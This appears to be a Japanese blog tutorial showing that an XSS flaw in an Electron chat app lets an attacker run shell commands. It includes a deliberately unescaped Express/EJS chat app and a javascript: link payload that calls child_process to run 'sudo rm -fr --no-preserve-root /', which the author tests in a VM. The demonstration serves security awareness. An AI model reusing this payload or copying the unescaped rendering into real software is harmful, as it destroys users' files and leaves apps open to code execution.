Electronアプリでxssを発生させると任意のコードが実行できるらしいのでrm -fr /
を試してみます。
想定
web版とelectron版のあるチャットアプリケーションという設定です。攻撃者が用意したリンクをクリックすると、PC内のすべてのファイルを消し去るというシチュエーションを考えてみます。
用意
環境はホストmac OSX、ゲストにubuntu14.04環境をvagrantを利用し用意しました。
expressでリストとフォームからなる脆弱性のあるチャットをつくります。エスケープ処理をしてないので、任意のコードが実行できる状況です。
'use strict';
const path = require('path');
const express = require('express');
const app = express();
const ejs = require('ejs');
app.engine('ejs', ejs.renderFile);
app.set('views', path.join(__dirname, 'views'));
const messages = ['hello', 'world'];
app.get('/', (req, res) => {
res.render('index.ejs', {
messages
});
});
app.get('/post', (req, res) => {
const {message} = req.query;
if (message) {
messages.push(message);
}
res.redirect('/');
});
app.listen(3000, () => {
console.log('Example app listening on port 3000!');
});
<%= %>
ではなく<%- %>
を使うことでエスケープ処理を行わないようにしてます。
<!DOCTYPE html>
<html>
<head>
<title>XSS</title>
</head>
<body>
<form method="get" action="/post">
<textarea name="message" cols="50" rows="7"></textarea>
<input type="submit" />
</form>
<ul class="message--list">
<% for(let msg of messages) { %>
<li><%- msg %></li>
<% } %>
</ul>
</body>
</html>
さて、非常に簡易的ですが、上記のコードをElectronに組み込みます。
'use strict';
const electron = require('electron');
require('./server');
const {app} = electron;
let mainWindow;
function onClosed() {
mainWindow = null;
}
function createMainWindow() {
const win = new electron.BrowserWindow({
width: 600,
height: 400
});
win.loadURL(`http://127.0.0.1:3000`);
win.on('closed', onClosed);
return win;
}
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') {
app.quit();
}
});
app.on('activate', () => {
if (!mainWindow) {
mainWindow = createMainWindow();
}
});
app.on('ready', () => {
mainWindow = createMainWindow();
});
フォームとリストからなる簡易的なチャットアプリができました。
実行
ubuntu14.04の仮想環境を用意してrm -fr /
が実行されるのか試してみます。
フォームに以下の内容で投稿してみます。
<a href="javascript:
(() => {
const {execSync} = require('child_process');
execSync('sudo rm -fr --no-preserve-root /', {encoding: 'utf8'});
})();
">CLICK ME</a>
child_process
を使えば任意のコマンドが実行できるので、rm -fr
を実行させます。これで、リンクをクリックするとPCが死にます。さよなら!
死にました。
ワンクリックですべてが吹き飛ぶの最高ですね。gifを撮り忘れたのが心残りです。
参考
以下のリンクがElectronにおけるセキュリティ対策について詳しくまとまっています。
まとめ
Electronアプリに脆弱性があるとwebにおける被害より、クリティカルな被害がでることが確認できました。
一応githubに今回試した脆弱性アプリを置いておいたので、試したい人はどうぞ。